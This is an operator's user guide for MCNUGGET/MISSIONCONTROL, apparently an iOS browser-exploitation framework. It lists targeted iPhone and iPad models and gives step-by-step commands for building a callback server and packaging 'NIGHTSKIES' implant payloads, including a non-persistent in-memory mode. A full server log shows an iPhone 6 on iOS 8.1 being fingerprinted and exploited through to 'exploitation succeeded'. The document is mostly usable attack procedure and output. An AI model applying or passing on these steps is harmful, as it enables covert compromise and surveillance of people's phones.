MCNUGGET v4.0 User's Guide

Table Of Contents

Overview

Updates / Features

- iOS 8.0 - 8.1.3 non-persistent support for the following devices:
    - iPad2,1 -> iPad 2 WiFi Only
    - iPad2,2 -> iPad 2 GSM
    - iPad2,3 -> iPad 2 CDMA
    - iPad2,4 -> iPad 2 Revision A
    - iPad2,5 -> iPad Mini WiFi Only
    - iPad2,6 -> iPad Mini GSM
    - iPad2,7 -> iPad Mini GSM+CDMA
    - iPad3,1 -> iPad 3 WiFi Only
    - iPad3,2 -> iPad 3 CDMA
    - iPad3,3 -> iPad 3 GSM
    - iPad3,4 -> iPad 4 WiFi Only
    - iPad3,5 -> iPad 4 GSM
    - iPad3,6 -> iPad 4 GSM+CDMA
    - iPad4,1 -> iPad Air WiFi
    - iPad4,2 -> iPad Air WiFi+Cellular
    - iPad4,4 -> iPad Mini 2G WiFi
    - iPad4,5 -> iPad Mini 2G WiFi+Cellular
    - iPad4,7 -> iPad Mini 3 WiFi Only
    - iPad4,8 -> iPad Mini 3 WiFi+Cellular
    - iPad5,3 -> iPad Air 2 WiFi Only
    - iPad5,4 -> iPad Air 2 WiFi+Cellular
    - iPhone3,1 -> iPhone 4 GSM
    - iPhone3,2 -> iPhone 4 GSM Revision A
    - iPhone3,3 -> iPhone 4 CDMA
    - iPhone4,1 -> iPhone 4S
    - iPhone5,1 -> iPhone 5 GSM
    - iPhone5,2 -> iPhone 5 GSM+CDMA
    - iPhone5,3 -> iPhone 5C GSM
    - iPhone5,4 -> iPhone 5C Global
    - iPhone6,1 -> iPhone 5S GSM
    - iPhone6,2 -> iPhone 5S Global
    - iPhone7,1 -> iPhone 6 Plus Global
    - iPhone7,2 -> iPhone 6 Global
    - iPod5,1 -> iPod Touch 5th Gen

- Exposed timeout option to mc_creator
- Added ‘nonpersistent’ flag to solcreate

Overview

There are three steps in generating a MISSIONCONTROL(MC) instance / server:

1. Generate a MC configuration plist
2. Generate a MCNUGGET payload(s).
3. Generate an MC server using the generated payload(s) and configuration plist

To generate an MC configuration plist, you use the **mc_creator** script, with the *plist* argument. To generate a **MCNUGGET** payload, you use the **solcreate** script. To generate the MC server, use the **mc_creator** script, with the *server* argument.

MISSIONCONTROL Configuration

Description

The first step in building a MISSIONCONTROL instance is to generate a configuration file for it. You use the ***mc_creator*** script to generate this configuration file. Use the *--help* flag to list the available options:

Options

```
$ ./mc_creator --help
usage: mc_creator [-h] [--version] {server,plist} ...

create a mission control server or template configuration plist

positional arguments:
  {server,plist}
    server        create a mission control server given a configuration plist
                  and a set of plugins
    plist         create a template configuration plist file

optional arguments:
  -h, --help      show this help message and exit
  --version       show program's version number and exit

./mc_creator plist --help
usage: mc_creator plist [-h] --passphrase PASSPHRASE --server-port
SERVER_PORT
                        --url URL [--server-key SERVER_KEY]
                        [--server-cert SERVER_CERT]
                        [--server-chain SERVER_CHAIN] [--timeout TIMEOUT]
                        [--loglevel LOGLEVEL] [--console] [--proxy [PROXY]]
                        [-t [TARGETS]]
                        output

positional arguments:
  output                output plist name

optional arguments:
  -h, --help            show this help message and exit
  --passphrase PASSPHRASE
                        passphrase used to encrypt server
  --server-port SERVER_PORT
                        server port (443)
  --url URL             callback url, either server URL or proxy URL.
```

```
                        (https://ad.net)
  --server-key SERVER_KEY
                        optional server SSL private key (PEM file)
  --server-cert SERVER_CERT
                        optional server SSL certificate (PEM file)
  --server-chain SERVER_CHAIN
                        optional server SSL certificate chain (PEM file)
                        requires pyOpenSSL
  --timeout TIMEOUT     session timeout in seconds
  --loglevel LOGLEVEL   optional log level for server (lower = more logging)
  --console             log to console instead of syslog
  --proxy [PROXY]       specify the use of a proxy server, with optional
proxy
                        certificate (PEM file)
  -t [TARGETS], --target [TARGETS]
                        add a target. target id will be auto generated if not
                        provided
```

Example

```
$ python ./mc_creator plist --console --timeout 300 --passphrase
'asecurepasswordgoeshere' --server-port 5555 --url https://my.test.host:5555
--server-key server.key --server-cert server.crt mc_config.plist
```

MCNUGGET Payload Generation

Description

MCNUGGET payloads are typically **NIGHTSKIES** installs(but not necessarily required). Given a Nightskies .zip file, you can generate a MCNUGGET payload for that specific Nightskies zip file. You use the **solcreate** script to generate the payload.

Options

```
./solcreate --help
Create remotely deployable NS 3.0 packages.

This command can be run multiple times on the same mcconfig.plist

Usage:
    solcreate <mcconfig> <payload> [-t <targetid>] [-o <output>] [--
nonpersistent][-v...]

Arguments:
    mcconfig           mission control configuration plist
    payload            An AQ.zip bundle. Should be 3.0 or newer.

Options:
    -t <targetid> --targetid=<targetid>
        Use this for target id instead of <payload>
    --nonpersistent
        Use this to install a nonpersistent, in memory only payload [default:
False]
    -o <output>, --output=<output>
        Use this for output name instead of <payload>.sol
    -v, --verbose
        Verbosity. More v's = more verbosity
```

Example

```
    $ python ./solcreate mc.plist ec10.zip -t 10 --nonpersistent
    $ python ./solcreate mc.plist ec11.zip -t 11

    # use bundle ec12.zip, but rename target to 55
    $ python ./solcreate mc.plist ec12.zip -t 55
```

MISSIONCONTROL Generation

Description

Generating a MC server uses the mc_creator script again, but this time with the **server** argument. You typically pass several files as arguments to this command: the plugins found in the mcplugins directory, and the payload(s) generated by ***solcreate***.

Options

```
$ python ./mc_creator –help
usage: mc_creator server [-h] [-t TOOLS [TOOLS ...]]
                         output config plugins [plugins ...]

positional arguments:
  output                path to output file
  config                configuration plist
  plugins               path to plugins

optional arguments:
  -h, --help            show this help message and exit
  -t TOOLS [TOOLS ...], --tools TOOLS [TOOLS ...]
                        path to tools
```

Example

```
./mc_creator server mcserver1  mc_config.plist mcplugins/mcp* test1.sol
test2.sol
```

Running a MISSIONCONTROL Server

Description

Running a MC server is simply executing it the file created using ‘mc_creator server’, entering the passphrase used during creation. Below is a complete example of a successful install of Nightskies 3.2 on an iPhone 6 on iOS 8.1. Note the text in bold near the end that highlights the sign of a successful install.

Example

```
$ python ./mcserver1
Execution Passphrase:
Turning off cookie support
mctest3: MC | INFO:    Cookie support turned off
Warning: server.ssl_certificate file saved to /tmp/tmp8Isg_P
Warning: server.ssl_private_key file saved to /tmp/tmpcjp1pa
```

```
[10/Mar/2015:10:27:59] ENGINE Listening for SIGINT.
mctest3: MC | INFO:    [10/Mar/2015:10:27:59] ENGINE Listening for SIGINT.
[10/Mar/2015:10:27:59] ENGINE Listening for SIGHUP.
mctest3: MC | INFO:    [10/Mar/2015:10:27:59] ENGINE Listening for SIGHUP.
[10/Mar/2015:10:27:59] ENGINE Listening for SIGTERM.
mctest3: MC | INFO:    [10/Mar/2015:10:27:59] ENGINE Listening for SIGTERM.
[10/Mar/2015:10:27:59] ENGINE Listening for SIGUSR1.
mctest3: MC | INFO:    [10/Mar/2015:10:27:59] ENGINE Listening for SIGUSR1.
mctest3: MC | INFO:    [10/Mar/2015:10:27:59] ENGINE Bus STARTING
mctest3: MC | INFO:    [10/Mar/2015:10:27:59] ENGINE Started monitor thread '_TimeoutMonitor'.
mctest3: MC | INFO:    [10/Mar/2015:10:27:59] ENGINE Started monitor thread 'Autoreloader'.
mctest3: MC | INFO:    [10/Mar/2015:10:27:59] ENGINE Serving on 0.0.0.0:5555
mctest3: MC | INFO:    [10/Mar/2015:10:27:59] ENGINE Bus STARTED
mctest3: MC | 10.3.2.161      | test1                                 |
| new session created with id = '490278eb-cb1a-4ed3-a2cb-5145b2a7bba7'
mctest3: MC | 10.3.2.161      | test1                                 |
| plugin 'Eve 1.0' match failed because next stage 'enumerate' not in match stages (leak, access)
mctest3: MC | 10.3.2.161      | test1                                 |
| plugin 'iOS Sol' match failed because next stage 'enumerate' not in match stages (escape,
escalate)
mctest3: MC | 10.3.2.161      | test1                                 |
| plugin 'iOS Sol' match failed because next stage 'enumerate' not in match stages (escape,
escalate)
mctest3: MC | 10.3.2.161      | test1                                 |
| plugin 'Earth 1.0' match failed because next stage 'enumerate' not in match stages (leak,
access)
mctest3: MC | 10.3.2.161      | test1                                 |
| plugin 'Archon 1.0' match failed because match dict['os_version'] = 'None'
mctest3: MC | 10.3.2.161      | test1                                 |
| plugin 'Adam 1.0' match failed because match dict['os_version'] = 'None'
mctest3: MC | 10.3.2.161      | test1                                 |
| plugin 'Safari User-Agent Enumeration' selected with score 0.5
mctest3: MC | 10.3.2.161      | test1                                 |
| plugin 'Safari User-Agent Enumeration' state machine: request -> None
mctest3: MC | 10.3.2.161      | test1                                 |
| plugin state: next id = none, next size = 9223372036854775807, next stage = leak, next type =
content, next dict = {'browser': 'Safari', 'language': None, 'os_version': '8_1', 'version':
'8.0', 'cpu_type': 'CPU', 'device': 'iPhone', 'os_type': 'iPhone OS', 'safari_version':
'600.1.4', 'webkit_version': '600.1.4', 'build': '12B411'}
mctest3: MC | 10.3.2.161      | test1                                 |
| plugin 'Safari User-Agent Enumeration' is finished
mctest3: MC | 10.3.2.161      | test1                                 |
| plugin 'Eve 1.0' match failed because next plugin type 'content' not in match plugin types
(html, javascript)
mctest3: MC | 10.3.2.161      | test1                                 |
| plugin 'iOS Sol' match failed because next stage 'leak' not in match stages (escape, escalate)
mctest3: MC | 10.3.2.161      | test1                                 |
| plugin 'iOS Sol' match failed because next stage 'leak' not in match stages (escape, escalate)
mctest3: MC | 10.3.2.161      | test1                                 |
| plugin 'Safari User-Agent Enumeration' match failed because next stage 'leak' not in match
stages (enumerate)
mctest3: MC | 10.3.2.161      | test1                                 |
| plugin 'Earth 1.0' match failed because next plugin type 'content' not in match plugin types
(html, javascript)
mctest3: MC | 10.3.2.161      | test1                                 |
| plugin 'Adam 1.0' match failed because match dict['os_version'] = '8_1'
mctest3: MC | 10.3.2.161      | test1                                 |
| plugin 'Archon 1.0' selected with score 0.5
mctest3: MC | 10.3.2.161      | test1                                 |
| plugin 'Archon 1.0' state machine: request -> set_bititude
mctest3: MC | INFO:    10.3.2.161 - - [10/Mar/2015:10:28:03] "GET /?id=test1 HTTP/1.1" 200 494
"http://mdbtest.devlan.net/internet/" "Mozilla/5.0 (iPhone; CPU iPhone OS 8_1 like Mac OS X)
AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12B411 Safari/600.1.4"
mctest3: MC | 10.3.2.161      | test1                                 | 490278eb-cb1a-4ed3-
a2cb-5145b2a7bba7 | plugin looped with no response 1 time(s)
mctest3: MC | 10.3.2.161      | test1                                 | 490278eb-cb1a-4ed3-
a2cb-5145b2a7bba7 | plugin 'Archon 1.0' state machine: set_bititude -> None
mctest3: MC | 10.3.2.161      | test1                                 | 490278eb-cb1a-4ed3-
a2cb-5145b2a7bba7 | plugin state: next id = none, next size = 9223372036854775807, next stage =
leak, next type = javascript, next dict = {'browser': 'Safari', 'language': None, 'bititude':
'64', 'os_version': '8_1', 'version': '8.0', 'cpu_type': 'CPU', 'device': 'iPhone', 'os_type':
'iPhone OS', 'safari_version': '600.1.4', 'webkit_version': '600.1.4', 'build': '12B411'}
```

```
mctest3: MC | 10.3.2.161      | test1                                  | 490278eb-cb1a-4ed3-
a2cb-5145b2a7bba7 | plugin 'Archon 1.0' is finished
mctest3: MC | 10.3.2.161      | test1                                  | 490278eb-cb1a-4ed3-
a2cb-5145b2a7bba7 | plugin 'Eve 1.0' match failed because match dict['os_version'] = '8_1'
mctest3: MC | 10.3.2.161      | test1                                  | 490278eb-cb1a-4ed3-
a2cb-5145b2a7bba7 | plugin 'iOS Sol' match failed because next stage 'leak' not in match stages
(escape, escalate)
mctest3: MC | 10.3.2.161      | test1                                  | 490278eb-cb1a-4ed3-
a2cb-5145b2a7bba7 | plugin 'iOS Sol' match failed because next stage 'leak' not in match stages
(escape, escalate)
mctest3: MC | 10.3.2.161      | test1                                  | 490278eb-cb1a-4ed3-
a2cb-5145b2a7bba7 | plugin 'Safari User-Agent Enumeration' match failed because next stage 'leak'
not in match stages (enumerate)
mctest3: MC | 10.3.2.161      | test1                                  | 490278eb-cb1a-4ed3-
a2cb-5145b2a7bba7 | plugin 'Archon 1.0' not matching because 'bititude' already set.
mctest3: MC | 10.3.2.161      | test1                                  | 490278eb-cb1a-4ed3-
a2cb-5145b2a7bba7 | plugin 'Adam 1.0' match failed because match dict['os_version'] = '8_1'
mctest3: MC | 10.3.2.161      | test1                                  | 490278eb-cb1a-4ed3-
a2cb-5145b2a7bba7 | plugin 'Archon 1.0' not matching because 'bititude' already set.
mctest3: MC | 10.3.2.161      | test1                                  | 490278eb-cb1a-4ed3-
a2cb-5145b2a7bba7 | plugin 'Earth 1.0' selected with score 0.99
mctest3: MC | 10.3.2.161      | test1                                  | 490278eb-cb1a-4ed3-
a2cb-5145b2a7bba7 | Earth: fetching index
mctest3: MC | 10.3.2.161      | test1                                  | 490278eb-cb1a-4ed3-
a2cb-5145b2a7bba7 | Getting the desired content type: 6
mctest3: MC | 10.3.2.161      | test1                                  | 490278eb-cb1a-4ed3-
a2cb-5145b2a7bba7 | plugin 'Earth 1.0' state machine: request -> mainjs
mctest3: MC | INFO:    10.3.2.161 - - [10/Mar/2015:10:28:03] "GET /?id=test1&sid=490278eb-
cb1a-4ed3-a2cb-5145b2a7bba7&n=b3 HTTP/1.1" 200 210 "https://mdbtest.devlan.net:5555/?id=test1"
"Mozilla/5.0 (iPhone; CPU iPhone OS 8_1 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko)
Version/8.0 Mobile/12B411 Safari/600.1.4"
mctest3: MC | 10.3.2.161      | test1                                  | 490278eb-cb1a-4ed3-
a2cb-5145b2a7bba7 | plugin looped with no response 1 time(s)
mctest3: MC | 10.3.2.161      | test1                                  | 490278eb-cb1a-4ed3-
a2cb-5145b2a7bba7 | plugin 'Earth 1.0' state machine: mainjs -> sethw
mctest3: MC | INFO:    10.3.2.161 - - [10/Mar/2015:10:28:03] "GET /?id=test1&sid=490278eb-
cb1a-4ed3-a2cb-5145b2a7bba7 HTTP/1.1" 200 6801 "https://mdbtest.devlan.net:5555/?id=test1"
"Mozilla/5.0 (iPhone; CPU iPhone OS 8_1 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko)
Version/8.0 Mobile/12B411 Safari/600.1.4"
mctest3: MC | 10.3.2.161      | test1                                  | 490278eb-cb1a-4ed3-
a2cb-5145b2a7bba7 | plugin looped with no response 1 time(s)
mctest3: MC | 10.3.2.161      | test1                                  | 490278eb-cb1a-4ed3-
a2cb-5145b2a7bba7 | earth: setting hardware
mctest3: MC | 10.3.2.161      | test1                                  | 490278eb-cb1a-4ed3-
a2cb-5145b2a7bba7 | plugin 'Earth 1.0' state machine: sethw -> None
mctest3: MC | 10.3.2.161      | test1                                  | 490278eb-cb1a-4ed3-
a2cb-5145b2a7bba7 | plugin state: next id = none, next size = 9223372036854775807, next stage =
escape, next type = library, next dict = {'browser': 'Safari', 'language': None, 'bititude':
'64', 'hardware': 'iPhone7,2', 'os_version': '8_1', 'version': '8.0', 'cpu_type': 'CPU',
'device': 'iPhone', 'os_type': 'iPhone OS', 'safari_version': '600.1.4', 'webkit_version':
'600.1.4', 'build': '12B411'}
mctest3: MC | 10.3.2.161      | test1                                  | 490278eb-cb1a-4ed3-
a2cb-5145b2a7bba7 | plugin 'Earth 1.0' is finished
mctest3: MC | 10.3.2.161      | test1                                  | 490278eb-cb1a-4ed3-
a2cb-5145b2a7bba7 | plugin 'Eve 1.0' match failed because next stage 'escape' not in match stages
(leak, access)
mctest3: MC | 10.3.2.161      | test1                                  | 490278eb-cb1a-4ed3-
a2cb-5145b2a7bba7 | plugin 'Safari User-Agent Enumeration' match failed because next stage
'escape' not in match stages (enumerate)
mctest3: MC | 10.3.2.161      | test1                                  | 490278eb-cb1a-4ed3-
a2cb-5145b2a7bba7 | plugin 'Earth 1.0' match failed because next stage 'escape' not in match
stages (leak, access)
mctest3: MC | 10.3.2.161      | test1                                  | 490278eb-cb1a-4ed3-
a2cb-5145b2a7bba7 | plugin 'Archon 1.0' match failed because next stage 'escape' not in match
stages (enumerate, leak)
mctest3: MC | 10.3.2.161      | test1                                  | 490278eb-cb1a-4ed3-
a2cb-5145b2a7bba7 | plugin 'Adam 1.0' match failed because next stage 'escape' not in match
stages (enumerate, leak)
mctest3: MC | 10.3.2.161      | test1                                  | 490278eb-cb1a-4ed3-
a2cb-5145b2a7bba7 | plugin 'Archon 1.0' match failed because next stage 'escape' not in match
stages (enumerate, leak)
```

```
mctest3: MC | 10.3.2.161      | test1                                | 490278eb-cb1a-4ed3-
a2cb-5145b2a7bba7 | plugin 'Earth 1.0' match failed because next stage 'escape' not in match
stages (leak, access)
mctest3: MC | 10.3.2.161      | test1                                | 490278eb-cb1a-4ed3-
a2cb-5145b2a7bba7 | plugin 'iOS Sol' selected with score 0.99
mctest3: MC | 10.3.2.161      | test1                                | 490278eb-cb1a-4ed3-
a2cb-5145b2a7bba7 | plugin 'iOS Sol' state machine: sol -> task
mctest3: MC | INFO:     10.3.2.161 - - [10/Mar/2015:10:28:04] "GET /?id=test1&sid=490278eb-
cb1a-4ed3-a2cb-5145b2a7bba7&hw=72 HTTP/1.1" 200 37154 "https://mdbtest.devlan.net:5555/?
id=test1&sid=490278eb-cb1a-4ed3-a2cb-5145b2a7bba7" "Mozilla/5.0 (iPhone; CPU iPhone OS 8_1 like
Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12B411 Safari/600.1.4"
mctest3: MC | 10.3.2.161      | test1                                | 490278eb-cb1a-4ed3-
a2cb-5145b2a7bba7 | target reported status 3000
mctest3: MC | INFO:     10.3.2.161 - - [10/Mar/2015:10:28:04] "GET /?id=test1&sid=490278eb-
cb1a-4ed3-a2cb-5145b2a7bba7&status=3000 HTTP/1.1" 200 - "https://mdbtest.devlan.net:5555/?
id=test1&sid=490278eb-cb1a-4ed3-a2cb-5145b2a7bba7" "Mozilla/5.0 (iPhone; CPU iPhone OS 8_1 like
Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12B411 Safari/600.1.4"
mctest3: MC | 10.3.2.161      | test1                                | 490278eb-cb1a-4ed3-
a2cb-5145b2a7bba7 | plugin looped with no response 1 time(s)
mctest3: MC | 10.3.2.161      | test1                                | 490278eb-cb1a-4ed3-
a2cb-5145b2a7bba7 | plugin 'iOS Sol' state machine: task -> None
mctest3: MC | 10.3.2.161      | test1                                | 490278eb-cb1a-4ed3-
a2cb-5145b2a7bba7 | plugin state: next id = none, next size = 9223372036854775807, next stage =
post-exploit, next type = content, next dict = {'browser': 'Safari', 'language': None,
'bititude': '64', 'hardware': 'iPhone7,2', 'os_version': '8_1', 'version': '8.0', 'cpu_type':
'CPU', 'device': 'iPhone', 'os_type': 'iPhone OS', 'safari_version': '600.1.4', 'webkit_version':
'600.1.4', 'build': '12B411'}
mctest3: MC | 10.3.2.161      | test1                                | 490278eb-cb1a-4ed3-
a2cb-5145b2a7bba7 | plugin 'iOS Sol' is finished
mctest3: MC | INFO:     10.3.2.161 - - [10/Mar/2015:10:28:04] "GET /?id=test1&sid=490278eb-
cb1a-4ed3-a2cb-5145b2a7bba7 HTTP/1.1" 200 264668 "" "Mozilla/5.0 (iPhone; CPU iPhone OS 8_1 like
Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12B411 Safari/600.1.4"
mctest3: MC | 10.3.2.161      | test1                                | 490278eb-cb1a-4ed3-
a2cb-5145b2a7bba7 | target reported status 0
mctest3: MC | 10.3.2.161      | test1                                | 490278eb-cb1a-4ed3-
a2cb-5145b2a7bba7 | exploitation succeeded, deleting from target dictionary
mctest3: MC | INFO:     10.3.2.161 - - [10/Mar/2015:10:28:05] "GET /?id=test1&sid=490278eb-
cb1a-4ed3-a2cb-5145b2a7bba7&status=0 HTTP/1.1" 200 - "" "Mozilla/5.0 (iPhone; CPU iPhone OS 8_1
like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12B411 Safari/600.1.4"
```

Known Issues

- Limitation: the MCNUGGET plugin does not find the right target for a given detected hardware architecture. For example, if a target payload generated by solcreate uses a 32-bit payload, and then a 64bit device hits the MC server, the exploit will fail. To fix this, solcreate needs to be run again with the right zip file for the right architecture.